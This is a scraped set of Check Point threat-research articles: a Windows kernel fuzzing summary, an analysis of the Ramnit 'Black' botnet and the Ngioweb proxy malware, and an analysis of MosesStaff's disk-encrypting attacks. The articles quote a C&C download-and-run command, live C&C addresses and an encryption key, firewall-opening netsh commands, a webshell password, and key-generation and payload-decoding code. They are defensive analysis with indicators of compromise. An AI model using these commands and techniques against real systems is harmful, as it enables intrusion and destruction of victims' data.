\n\n\n
Our goal was to find Windows kernel bugs using a fuzzer.
\n\n\n\nWe started exploring the fuzzers landscape in the Windows kernel, and since we had experience with AFL style fuzzers, we looked for one that performs similarly and found kAFL.
\n\n\n\nWe looked at kAFL and searched for attack surfaces in the Windows kernel, but we found out quickly that a syscall fuzzer can reach a lot more attack surfaces.
\n\n\n\nWe searched for syscall fuzzers and found Syzkaller.
\n\n\n\nAt this point, we started porting it to WSL as it’s the most similar to Linux kernel and we could get some experience with Syzkaller on Windows. We implemented coverage instrumentation for the Windows kernel using IntelPT. We shared a crash detection mechanism, our crash symbolizer approach and that was used for bug de-duplication. We found a few coverage stability issues and shared our solution for that.
\n\n\n\nAfter we found some DoS bugs, we decided to move to a real PE target – win32k – but we had to implement missing parts in Syzkaller. We then did a sanity check and stress test to make sure the fuzzer is not wasting CPU time. After that we invested a lot of time in writing grammar, reading about our target and eventually adding support for newly learned parts in Win32k back to the fuzzer.
\n\n\n\nOverall, our research lead us to find 8 vulnerabilities, DoS bugs and deadlocks in the Windows 10 Kernel.
\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2020/bugs-on-the-windshield-fuzzing-the-windows-kernel/","tags":[],"score":1.1527453660964966,"topStoryDate":null},{"id":"RS-19348","type":"Research_Publications","name":"Ramnit’s Network of Proxy Servers","author":null,"date":1533519049000,"description":"Research By: Alexey Bukhteyev As you may know, Ramnit is one of the most prominent banking malware families in existence today and lately Check Point Research monitored a new massive campaign of Ramnit, dubbed ‘Black’, reaching over 100,000 infections over the course of two months. It is used mainly to turn the victim’s machine into… Click to Read More","content":"Research By: Alexey Bukhteyev
\n\n
As you may know, Ramnit is one of the most prominent banking malware families in existence today and lately Check Point Research monitored a new massive campaign of Ramnit, dubbed ‘Black’, reaching over 100,000 infections over the course of two months. It is used mainly to turn the victim’s machine into malicious proxy servers.
\nIn fact, this massive new campaign may actually be used for many things, but our current belief is that this is just the tip of the iceberg and this is a warning sign of a bigger operation that the Ramnit operators are cooking for us.
\nOf course, we will continue to monitor this campaign for any developments, but in the meantime we want to share our findings and insights into this “new threat in town”.
\nBackground
\nWe are constantly monitoring command and control servers’ (C&C) activity for different malware families to extract the most recent indicators of compromise (IoC) to protect our customers. One such family is the Ramnit Trojan which causes infected machines to operate as a high-centralized botnet, though its architecture implies division into independent botnets.
\nRecently we discovered the Ramnit C&C server (185.44.75.109) which is not related to the previously most prevalent botnet “demetra”. According to domain names which are resolved to the IP address of this C&C server, it pretends to control even old bots, first seen back in 2015. We named this botnet “Black” due to the RC4 key value, “black”, that is used for traffic encryption in this botnet.
\nThis C&C server has actually been active since 6th March 2018 but didn’t attract attention because of the low capacity of the “black” botnet at that time. However, in May-July 2018 we detected a new Ramnit campaign with around 100,000 computers infected.
\n\nFigure 1: Unique hits of Ramnit “black” botnet C&C server.
\nWe were also able to assess the location of bots involved in this campaign using several domain sinkholes:
\n\nFigure 2: Ramnit “black” botnet geography.
\nThere are several features of this botnet:
\nNgioweb represents a multifunctional proxy server which uses its own binary protocol with 2 layers of encryption. The proxy malware supports back-connect mode, relay mode, IPv4, IPv6 protocols, TCP and UDP transports with first samples seen in the second half of 2017. The name for the malware has been chosen as of the only one domain name hardcoded in the malware configuration is “ngioweb[.]su”.
\nIn the following writeup, we will show how this malware is used for building a huge multi-purpose proxy botnet.
\nMalware functionality
\nNgioweb uses two-stage C&C infrastructure. STAGE-0 C&C server informs the malware about the STAGE-1 C&C server while the unencrypted HTTP connection is used for this purpose. The STAGE-1 C&C server is used for controlling malware via an encrypted channel.
\nThe scheme below illustrates the communication sequence including the infection process:
\n\nFigure 3: Ngioweb infection and early communication
\nThe malware can operate in two main modes:
\nRegular Back-Connect Proxy Mode
\nThis mode could be used for accessing remote service on behalf of an infected host. To establish a connection between STAGE-1 C&C server and remote host, the following sequence of actions is performed:
\nFigure 4: Accessing remote host using Ngioweb proxy bot.
\nThe same mode could be used for accessing internal resources in the local network of an infected host:
\n\nFigure 5: Accessing resource in the local network of an infected host.
\nRelay Proxy Mode
\nThis mode is the most powerful as it allows malware actors to build chains of proxies and hide their services behind the IP address of a bot.
\nThe following sequence of actions is used for building a hidden service using the Ngioweb botnet:
\nFigure 6: Creating a hidden service using Ngioweb proxy bot.
\nBuilding the chain of proxies:
\nFigure 7: Building chain of proxies
\nThe architecture of the botnet does not allow for determining if the address provided by the STAGE-0 C&C belongs to the attacker or simply to another bot.
\nInfection
\nWe have seen Ngioweb samples packed together with Ramnit in one dropper binary that were most likely distributed in spam campaigns. However, Ngioweb is mainly distributed via botnet “black”.
\nThe infection sequence via the Ramnit botnet is pretty simple. Each time Ramnit bot checks-in at the C&C server, it receives a command as follows:
\n{
\n’command’ : ’getexec “dml://185.44.75.109:443/1/v8.exe” “msiexic.exe”’,
\n’cmd_id’ : 3,
\n’TTL’ : 3600
\n}
\n\n
Command “getexec” is used by the Ramnit server to make a bot download and run custom executable from the specified URL. “dml” means that the Ramnit binary protocol should be used for downloading instead of HTTP. The second argument of “getexec” command is used to specify the file name for the downloaded executable.
\nTTL parameter of the command tells Ramnit that the command with the specified cmd_id expires in TTL seconds and it should be executed again when the time has passed. Therefore the victim’s computer is re-infected with the Ngioweb malware until the Ramnit bot is active.
\nPrevalence Assessment
\nAs long as the main infection vector of Ngioweb malware is via Ramnit, the prevalence of the Ngioweb can be assessed through Ramnit “Black” botnet capacity. The C&C server of Ramnit assigns a unique sequence number for each new bot which is then transmitted by the C&C server with the response to one of bot’s messages.
\n\nFigure 8: Ramnit “Black” and Ngioweb prevalence assessment
\nTherefore, at the beginning of July of 2018, more than 139,000 computers were infected with Ngioweb and the following graph shows the dynamics of these infections:
\n\nFigure 9: Ramnit “Black” and Ngioweb dynamics of infections
\nMalware Analysis
\nThe malware consequently creates a chain of processes injecting its code there. First, the malware injects its code into the newly created process “msiexec.exe” using a process hollowing technique. Next, when running inside of the “msiexec.exe” process, the malware tries to create one of the following processes to inject its payload:
\nIt is in the last process in this chain that the main malicious actions are performed.
\n\nFigure 10: Process creation chain
\nTo prevent creating multiple instances of malicious process, the malware creates a named mutex (and then checks its existence) with a specific pseudo-random name:
\n\nFigure 11: Mutex name generation algorithm
\nThe malware creates three threads for its next purposes:
\nFor communication between threads, it uses PostQueuedCompletionStatus and GetQueuedCompletionStatus API functions.
\n\nFigure 12: Notifying the main thread about new command
\nfrom the STAGE-0 C&C server.
Also, an additional thread is created for each connection.
\nPersistence Mechanisms
\nThe Ngioweb proxy uses three methods to keep persistence in the victim’s operating system:
\nThe malware tries to copy itself to two places:
\nThe malware uses tricky algorithm to generate the path to save its executable for an upcoming setup of autorun.
\nIt chooses a random child folder inside “Program Files”, %APPDATA% or %LocalAppData%, excluding folders “Temp”, “Common Files”, “Uninstall Information”. The malware tries to create a subfolder there with a pseudo-random name. Then it tries to find .exe or .dll files in this folder, the name of the found file is chosen for saving the malware’s executable (forcing its extension to .exe). If neither .exe nor .dll files are found, the malware recursively searches those files in the inner subfolders. If nothing is found, the malware generates the name as following:
\n\nFigure 13: File name generation algorithm
\nThe malware creates a sub-folder to store its executable. The name of this subfolder is generated as follows:
\n\nFigure 14: Sub-folder name generation algorithm
\nTherefore, the target path for the malware will look like:
\nC:\\Program Files\\Internet Explorer\\v6.8.3.6\\uDkxuDgJ.exe
\nOr (if no appropriate .exe or .dll file is found):
\nC:\\Program Files\\Internet Explorer\\v6.8.3.6\\iexplore.exe
\nIn case no appropriate subfolders are found in the Program Files directory, the malware creates a folder inside “Program Files”, %APPDATA% or %LocalAppData% with a random 8-chars name (which is unpredictable) and then uses the previously mentioned algorithm to generate the inner subfolder name and name of the .exe file.
\nFor the stored file it sets new timestamps to the same value as ntdll.dll has.
\nIn addition, the malware creates a sub-folder in the selected directory (this directory usually stays empty), whose name depends only on the system volume serial number:
\n\nFigure 15: Generating name for the second sub-folder
\nAn example of the generated name is:
\nC:\\Program Files\\Internet Explorer\\2.0.41885\\
\nThe malware also creates a sub-folder inside of %TEMP% folder and saves a copy there. The name for the sub-folder and file are generated as follows:
\n\nFigure 16: Generating path for the second copy of the malware
\nAs we can see, the name of the folder and file depends only on a hard-coded value, so the path will be the same for each infected machine:
\n%TEMP%\\{D2309EFC-AB81-74D2-4D23-1674D2309EFC}\\ROPYRmXM.exe
\nThe created file and folder are encrypted using the EncryptFile API function.
\nThe malware creates two scheduled tasks:
\nFigure 17: Scheduled tasks to start the malware
\nNames for the scheduled tasks are generated using the same function, which is used for generating names for mutexes and events:
\n\nFigure 18: Generating names for tasks
\nTherefore the names for the scheduled tasks will be the same for each victim’s machine:
\n{09EFC5AB-D230-AB81-74D2-4D2309EFC5AB}
\n{D2309EFC-AB81-74D2-4D23-1674D2309EFC}
\nMalware Configuration
\nThe following data is stored in the malware configuration:
\nConfiguration is stored in encrypted format and the first 32 bytes of configuration block are used as an AES-256 key to decrypt configuration. APLib is also used for decompression:
\n\nFigure 19: Decrypting and extracting configuration block
\nWe can then extract the data from the configuration after decryption:
\n\nFigure 20: Decrypted malware configuration
\nEach configuration field is prepended with 2 bytes of its length. For example, the length of the first field (AES-256 key) is 0x20.
\nThe configuration contains the following blocks:
\n\nNetwork and Communication
\nSTAGE-0 C&C
\nThe malware uses the HTTP protocol to connect to one of the STAGE-0 C&C servers. The URL for the HTTP request is obtained from the configuration and looks like:
\nhttps://46.161.40.50:443/vnnf4pffztd356ey
\nThe malware creates a query string for HTTP GET from 20 random letters and the User-Agent parameter for the HTTP request is hard-coded in the sample. The request thus looks like the following:
\nGET /vnnf4pffztd356ey?fafgxybetmnqvmtifcle HTTP/1.1
\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
\nHost: 46.161.40.50
\nCache-Control: no-cache
\nServer response contains commands followed by the BASE64-encoded server’s digital signature:
\n\n
HTTP/1.1 200 OK
\nServer: nginx/1.6.2
\nDate: Thu, 07 Jun 2018 02:54:59 GMT
\nContent-Type: text/plain; charset=utf-8
\nTransfer-Encoding: chunked
\nConnection: keep-alive
\n\n
8
\nWAIT 60
\n
b2
\nCERT 7PYB0XUnrvomid0DDnlFchiogTULgdmyBz6Rro3hfyyRRqXBzX+W5mbomWG4sKc0i8DTRgV6HuvPqZ6BKgEcIW+jMchM82Zj+vxt9c0js/6Ykg7GcgVNU2v5Un6hrjwWoYHgLdc3lbyGa7bBuRYxV3V+8gxHF2whnIRmfGM2PVM=
\n
0
\n\n
The following commands are supported:
\n\nSTAGE-1 C&C
\nWhen the malware receives the command, “CONNECT host:port”, it creates a connection to the specified STAGE-1 C&C server. It then uses its own binary protocol over TCP for communication and each message from both the server and client starts from a header of 16 bytes in length.
\nThe Header is encrypted in two layers: The first layer is AES cipher in ECB mode and the encryption key is stored in the malware’s configuration. In the researched sample the following value is used as an AES key:
\n“ava5df#be45av^bbdgq!hiuyyhh4327$”
\nAfter AES-decrypting, the first 4 byte chunk of the header is used as a XOR key for decrypting the rest of the header. After decryption, the header has the following format:
\n\nThe malware then parses the header to get the length of the data transmitted and the CRC32 checksum of it. Data of the message is also encrypted in two layers and the same keys are used for the decryption.
\nThe decrypted message consists of one or more chunks with each chunk starting with the byte of the chunk type:
\n\nThe number of chunks and types depends on the message code.
\nThe malware supports the following message codes:
\n\nWhen the message is sent by the C&C server, the high byte of the message code is always 0x10. The message from the bot has 0x00 high byte of message code.
\nProtection Mechanisms
\nAll strings in the malware sample are obfuscated using a “Stack strings obfuscation” technique. Therefore, strings are neither stored in plain text nor encrypted, and could not be easily found in the malware binary. Each string is filled char by char inside of the function body where it is used:
\n\nFigure 21: Strings obfuscation
\nAny time the malware needs to call an API function, it first resolves the address of a target function using a pair of hashes and then calls the API function itself using the resolved address:
\n\nFigure 22: API calls obfuscation
\nThe malware uses a lot of evasion techniques that are intended for detecting sandboxed environment and researcher’s software and performs checks in the loop before querying the STAGE-0 C&C server. As a result, if a sandbox or analyst’s environment detection has been triggered, the malware extracts a fake C&C server configuration from the encrypted block and uses it instead of a real configuration.
\nThe fake configuration in the analyzed sample is as follows:
\nhttps://104.144.207.211:443/vnnf4pffztd356ey
\nhttps://46.161.40.50:443/vnnf4pffztd356ey
\nThe first host is probably used to trigger an analyst’s environment detection event on the server-side.
\nIndicators of Compromise
\nMD5:
\n2233ca776f54900d1413e76185a699d6
\n00dcab7d87c753cd057934fabf391254
\n7c3bc5776862734a4deaa86732abcffd
\n0e63e2bd00b8171c569ecbbf61f0ae3c
\n6321db55485e1e8ae7e8261345bd2448
\nOld version with DGA:
\ne1953052c0c0a9aa39c51174b9d9a953
\n\n
Check Point Anti-Bot blade provides protection against this threat:
\nTrojan.Win32.Ngioweb.*
\n","status":"PUBLISHED","fileName":"//research.checkpoint.com/wp-content/uploads/2018/11/Ramnit_1021x580-300x170.jpg","link":"https://research.checkpoint.com/2018/ramnits-network-proxy-servers/","tags":[],"score":0.732738196849823,"topStoryDate":null},{"id":"RS-25487","type":"Research_Publications","name":"Uncovering MosesStaff techniques: Ideology over Money","author":null,"date":1637000224000,"description":"Introduction In September 2021, the hacker group MosesStaff began targeting Israeli organizations, joining a wave of attacks which was started about a year ago by the Pay2Key and BlackShadow attack groups. Those actors operated mainly for political reasons in attempt to create noise in the media and damage the country’s image, demanding money and conducting… Click to Read More","content":"In September 2021, the hacker group MosesStaff began targeting Israeli organizations, joining a wave of attacks which was started about a year ago by the Pay2Key and BlackShadow attack groups. Those actors operated mainly for political reasons in attempt to create noise in the media and damage the country’s image, demanding money and conducting lengthy and public negotiations with the victims.
\nMosesStaff behaves differently. The group openly states that their motivation in attacking Israeli companies is to cause damage by leaking the stolen sensitive data and encrypting the victim’s networks, with no ransom demand. In the language of the attackers, their purpose is to “Fight against the resistance and expose the crimes of the Zionists in the occupied territories.”
\nFigure 1: Screenshot from a computer encrypted by MosesStaff.
\nIn this article, we share our investigation of several incidents involving the MosesStaff group. We provide their tactics, techniques and procedures (TTPs), analyze their two main tools PyDCrypt
and DCSrv
, describe their encryption scheme and its possible flaws, and provide several keys for attribution.
To get initial access, the attackers exploited known vulnerabilities in an external-facing infrastructure. As a result, a webshell was dropped to the following path:
\nC:\\inetpub\\wwwroot\\aspnet_client\\system_web\\IISpool.aspx
\nIt’s a basic password-protected shell, where the MD5 of the entered password is compared with the hardcoded value 52a04efc6a0e7facf34dcc36a6d1ce6f
(MD5 hash of joker123
). The webshell is obfuscated and based on one of webshells available in Github.
Figure 2: Obfuscated Webshell password authentication code.
\nFigure 3: Screenshot of obfuscated webshell after a successful authentication.
\nThe actors also uploaded several additional tools to the same folder:
\nPsExec
, a portable tool from Microsoft that allows running processes remotely with any user’s credentials.OICe.exe
, a small Go executable which receives a command via its command-line arguments, and executes it. This tool might be used on the compromised server in the early steps of the attack to avoid executing suspicious child processes like cmd or PowerShell.After the attackers are inside the victims’ network, they collect information on the machines in the network and combine it into a victim_info
list. This contains a domain name, machine names, and administrator credentials that are later used to compile a specially-crafted PyDCrypt
malware.
This malware is usually run from the C:\\Users\\Public\\csrss.exe
path and is responsible for replicating itself inside the network and unleashing the main encryption payload, DCSrv
.
Figure 4: Infection Chain.
\nPyDCrypt
\nThe main goals of PyDCrypt
are to infect other computers and to make sure the main payload, DCSrv
, is executed properly. The executable is written in Python and compiled with PyInstaller with encryption, using the --key
flag during the build phase. As we mentioned previously, the attackers build a new sample for each infected organization, and hardcode the parameters collected from the victim’s environment:
Figure 5: A dictionary hardcoded in the PyDCrypt
sample shows what information the attackers collect from victims’ environment at the reconnaissance stage.
PyDCrypt
can receive 2 or 3 arguments.
The first argument expected is 113. The malware checks and if the argument is different, it does not proceed to the execution and removes itself.
\nThe second argument can be 0 or 1, indicating if PyDCrypt
has already run previously.
The third argument is optional. If provided, it is used as the encryption key that is later passed to DCSrv
as a parameter.
The main workflow of the malware:
\nDCSrv
(named C:\\Users\\Public\\svchost.exe
) to the disk and execute it. The encryption algorithm is based on XOR and multiple Base64 encoding operations, provided in Appendix A.Figure 6: Deobfuscated code of PyDCrypt
responsible for DCSrv
execution.
PSExec
(named ps.exe). The decoding method is the same as for DCSrv
.netsh.exe
on remote machines:netsh advfirewall firewall add rule name=SMB dir=in action=allow protocol=TCP localport=445
netsh advfirewall firewall add rule name=NETBIOS dir=in action=allow protocol=TCP localport=135
netsh advfirewall firewall add rule name=FileShare1 dir=in action=allow protocol=TCP localport=139
netsh advfirewall firewall add rule name=FileShare2 dir=in action=allow protocol=TCP localport=138
csrss.exe
(PyDCrypt
) remotely with Powershell
, PSExec
, or WMIC
(whatever is available), using compromised administrator credentials. Probing for each method is done by running whoami
or echo 1233dsfassad
on the destination machines.ps.exe
binary and the PyDCrypt
executable.Figure 7: Example of Forensics report for single execution tree of PyDCrypt
.
DCSrv
\nThis malicious process masquerades as a legitimate svchost.exe
process and has a single purpose: to encrypt all computer volumes, and deny any access to the computer.
It contains several resources:
\n1
– Contains an encrypted configuration, and depending on the code, can also contain a hardcoded encryption key. Some of the configuration values are:\nHacked By <https://moses-staff.se> ! Join Us in Telegram : <https://t.me/moses_staff>
2
– Signed DCDrv.sys
driver for 64 bit.3
– Signed DCDrv.sys
driver for 32 bit.4
– Encrypted DLL for installing the boot loader.In addition to the configuration, the execution flow can also be controlled by the command line parameters received for this tool, and it can take from 0 to 2 parameters.
\nIf the first one exists, it is the encryption key, and if the second one exists, it is an identifier that is also compared with the string saved in the malware configuration. An example for it would be string “113
” which was used in both the DCSrv
and PyDCrypt
parameters. However, the standard execution chain, as we mentioned previously, is PyDCrypt
passing its parameters (including the encryption key) to DCSrv
.
The complete encryption tool is based on a powerful 3rd party open-source tool called DiskCryptor. MosesStaff used several parts of that tool, primarily the signed driver and custom boot loaders.
\nThe execution flow of this tool can be divided into three parts: driver installation, volume encryption, and boot loader installation.
\nInstalling the driver
\nThe first action is to create two services named DCUMSrv
and DCDrv
. Each of these has different purposes.
DCUMSrv
is used solely for the persistence mechanism to run the same executable, svchost.exe
, on startup with the originally provided parameters. DCDrv
runs the supplied filter driver DCDrv.sys
. For the installation, it extracts the embedded driver from resources 2 or 3 (depending on whether it is running on a 32-bit system or 64-bit), and writes its content into C:\\windows\\system32\\drivers\\DCDrv.sys
. It then configures its registry parameters the same way the DiskCryptor open-source project did.
Figure 8: Service used for persistence mechanism.
\nFigure 9: Installation of DCSrv.sys
filter driver.
Due to the valid signature of the drivers, as we can see below, the DSE (Driver Signature Enforcement) feature does not stop its installation.
\nFigure 10: DCDrv.sys valid signature.
\nWhen the malware finishes installing the driver, it performs a reboot after a few minutes to make the driver operational.
\nEncrypting the volumes
\nOn the second run, the malware waits for the exact time given in the configuration before it detonates its encryption mechanism. This is yet another proof that the payloads are targeted and created per victim.
\nFigure 11: Code that checks the current time and compares it with the value provided in the configuration.
\nWhen the specific time arrives, the program iterates over all available drives, from C:
to Z:
, and encrypts them simultaneously using several threads.
As we mentioned previously, the core encryption mechanism is based on the DiskCryptor driver. Therefore, all it has to do is to initiate the right IOCTL messages with the proper parameters which are packaged into dc_ioctl
struct:
typedef struct _dc_ioctl {\n dc_pass passw1; /* password */\n dc_pass passw2; /* new password (for changing pass) */\n wchar_t device[MAX_DEVICE + 1];\n u32 flags; /* mount/unmount flags */\n int status; /* operation status code */\n int n_mount; /* number of mounted devices */\n crypt_info crypt;\n\n} dc_ioctl;\n
There are several communication methods between user-mode applications and kernel-mode drivers. The most popular method is to send special codes called IO Control Codes (IOCTL) using the Windows API DeviceIoControl
.
In our case, the relevant IOCTL codes for encrypting the drives are DC_CTL_ENCRYPT_START
and DC_CTL_ENCRYPT_STEP
, and the parameters are: the key from the command line in passw1
field, the iterated device in device
field, and CF_AES
encryption mode in crypt
field.
This process could take a while, so the malware has a two hour sleep period before rebooting with the custom boot loaders.
\nInstalling DiskCryptor bootloader
\nThis is usually done before the encryption process but depending on the configuration values, can also wait for it to end. The incentive for overwriting the boot-loader beforehand is clear, as even if the encryption wasn’t finished, the damage to the organization is done by locking their computers.
\nThe bootloader installer is embedded as resource 4
in the executable and is decrypted before it is dropped as <executable_directory>/<executable_name>.dll
. This DLL file has two export functions named IsEFI
and InstallLoader
and their names pretty much describe their functionality.
The malware dynamically loads the dropped library and calls InstallLoader
with the boot loader text message as a parameter:
Figure 12: Loading of the bootloader installer.
\nWe didn’t find any custom malicious changes introduced into the bootloader itself. Therefore, it contains the exact functionality we expect to see in volume disk encryption software with a bootloader to decrypt the main volume.
\nEncryption scheme
\nThe most notorious ransomware gangs (e.g. Conti, Revil, Lockbit etc.), almost without exception, always ensure that their encryption system is well-designed and unassailable. They do their due diligence and at the very least, dutifully copy the hybrid approach of symmetric and asymmetric encryption that has been the staple of well-designed ransomware since the mid-10’s; they know a serious mistake can end up costing them hundreds of thousands of dollars in potential revenue. For whatever reasons, including non-financial motivation, lack of experience with ransomware, or amateur coding skills, the MosesStaff group didn’t make as much of an effort.
\nWhen we add the fact that MosesStaff didn’t negotiate for money, we can assume that this malware strain isn’t ransomware, but an attempt to cause irreversible damage for Israelis organizations.
\nUsing this knowledge, let us dig deeper into their method of key generation, and how can we potentially reverse it.
\nKey Generation
\nMosesStaff uses three methods for generating the symmetric keys used by the encryption mechanism:
\nPyDCrypt
.The most common method is running PyDCrypt
, and sending exclusive encryption keys per hostname, based on MD5 hash, and crafted salt. The code which generates the keys looks like this:
from hashlib import md5\n\n# Salt may vary between samples ('Facebook5' and '4Skype4' strings)\ndef custom_hash_func(hostname, ring=10):\n m1 = 'Facebook5' + md5(hostname.encode()).hexdigest() + '4Skype4'\n for x in range(ring):\n m1 = md5(m1.encode()).hexdigest()\n return m1[0:31]\n
As we mentioned previously, simple symmetric-key-based encryption is usually not sufficient to make a bulletproof, hard-to-reverse encryption scheme. By using the analysis above, we do have several options to potentially reverse the encryption.
\nThe first and foremost option is to look at the EDR product logs if they were installed in the environment. A properly designed EDR records all process creations, together with their command line parameters, which are the keys in our case.
\n\nFigure 13: Screenshot from an EDR solution replicating the attack with svchost.exe
parameters used for decryption.
The second option is to extract and reverse the PyDCrypt
malware which attacked the victim in the first place. This method is a little trickier due to the code deleting itself after finishing running. From the PyDCrypt
sample, we can extract the crafted hashing function which generates the keys per computer.
By using the extracted keys from each of these methods, we can insert them into the boot login screen, and unlock the computer. This way we can restore access to the operating system, but the disks remain encrypted and the DiskCryptor boot loader is active on every restart. This can be solved by creating a simple program that initiates proper IOCTL to the DiskCryptor driver, and eventually, removes it from the system.
\nAttributing politically motivated cyberattacks is always complicated. Currently, with all the information we have available, we can’t draw any definitive conclusions. However, a couple of artifacts caught our attention:
\nOICe.exe
, was submitted to VT from Palestine a few months before the group began an active phase (encryption and public leaks) of their activity.Figure 14: Screenshot of VT submission of command proxy tool left by attackers on the compromised server.
\nAlthough this is not a strong indication, it might betray the attackers’ origins; sometimes they test the tools in public services like VT to make sure they are stealthy enough.
\nmoses-staff[.]se
(all of whom had metadata available) were created and/or modified a few days after the domain was registered on the machine with the time zone GMT+3
. That is the time zone of Israel and the Palestinian territories at that time of the year.Figure 15: Example of metadata of the images from MosesStaff site.
\nAs we described above, MosesStaff has a specific modus operandi of exploiting vulnerabilities in public-facing servers, then using a combination of unique tools and living-off-the-land maneuvers to leave the targeted network encrypted, with encryption used solely for destruction purposes. Like the Pay2Key and BlackShadow gangs before them, the MosesStaff group is motivated by politics and ideology to target Israeli organizations. Unlike those predecessors, however, they made an outright mistake when they put together their own encryption scheme, which is honestly a surprise in today’s landscape where every two-bit cybercriminal seems to know at least the basics of how to put together functioning ransomware.
\nMosesStaff are still active, pushing provocative messages and videos in their social network accounts. As the saying goes, “a clever person solves a problem, a wise person avoids it.” The vulnerabilities exploited in the group’s attacks are not zero days, and therefore all potential victims can protect themselves by immediately patching all publicly-facing systems.
\nCheck Point products block this attack with the following signatures: Ransomware.Wins.DCSrv.A
, Ransomware.Win.MosesStaff.A
, Ransomware.Win.MosesStaff.B
, Ransomware.Win.MosesStaff.C
.
Hashes
\nHash | \nDescription | \nName | \n
680ce7d56fc427ee2fbedb5baea59d68 | \nMosesStaff Webshell V1 | \nIISpool.aspx | \n
1094aa25e2d637e7f5795edd6c0f60e4 | \nMosesStaff Webshell V2 | \nIISpool.aspx | \n
5ffc255557796512798617ae61c4274d | \nMosesStaff Webshell V2 | \nIISpool.aspx | \n
3dde69212234c98b503081d64b9beb52 | \nMosesStaff Webshell V2 | \nIISpool.aspx | \n
a44775e7568b790505bbcaadbd61c993 | \nMosesStaff Webshell V2 | \nIISpool.aspx | \n
3649c106c6edd7ef47acd46586c74d8e | \nMosesStaff Webshell V2 | \nwarn.aspx | \n
c1bc20a9bbebbbdd19869999b9cec03b | \nMosesStaff Webshell V2 | \nIISpool.aspx | \n
a06c125e6da566be67aacf6c4e44005e | \nCMD wrapper | \nOICe.exe | \n
e776c4e24c00fa3eeba68cde38ae24f3 | \nPyDCrypt | \ncsrss.exe | \n
3dfb7626dbe46136bc19404b63c6d1dc | \nPyDCrypt | \ncsrss.exe | \n
7be30062c1a2c42a7061dfbfec364588 | \nDCSrv | \nsvchost.exe | \n
93c19436e6e5207e2e2bed425107f080 | \nDCSrv | \nsvvhost.exe | \n
2372c7639e70820f253a098dfcaf5060 | \nBootloader Installer | \nsvchost.dll | \n
\n
File paths
\nc:\\users\\public\\svchost.exe
c:\\users\\public\\svvhost.exe
c:\\users\\public\\svchost.dll
c:\\users\\public\\svchost.bat
c:\\users\\public\\csrss.exe
c:\\users\\public\\ps.exe
c:\\users\\dc1\\dcl.txt
c:\\users\\public\\account
c:\\users\\public\\systemserial
c:\\windows\\system32\\drivers\\dcdrv.sys
C:\\inetpub\\wwwroot\\aspnet_client\\system_web\\IISpool.aspx
\n
from base64 import b64encode, urlsafe_b64decode, b64decode\nfrom itertools import cycle, izip\n\ndef decrypt_string(key, file_bytes):\n file_bytes = urlsafe_b64decode(file_bytes.encode())\n return ''.join((chr(ord(c) ^ ord(k)) for c, k in izip(file_bytes, cycle(key))))\n\n# ring may differ between payloads\ndef decrypt_payload(file_bytes, ring=3, key):\n mk = decrypt_string(key, file_bytes)\n for x in range(ring):\n mk = b64decode(mk)\n return mk\n
\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","tags":[],"score":0.5880627632141113,"topStoryDate":null}],"mapData":null,"topMalwareFamilies":null};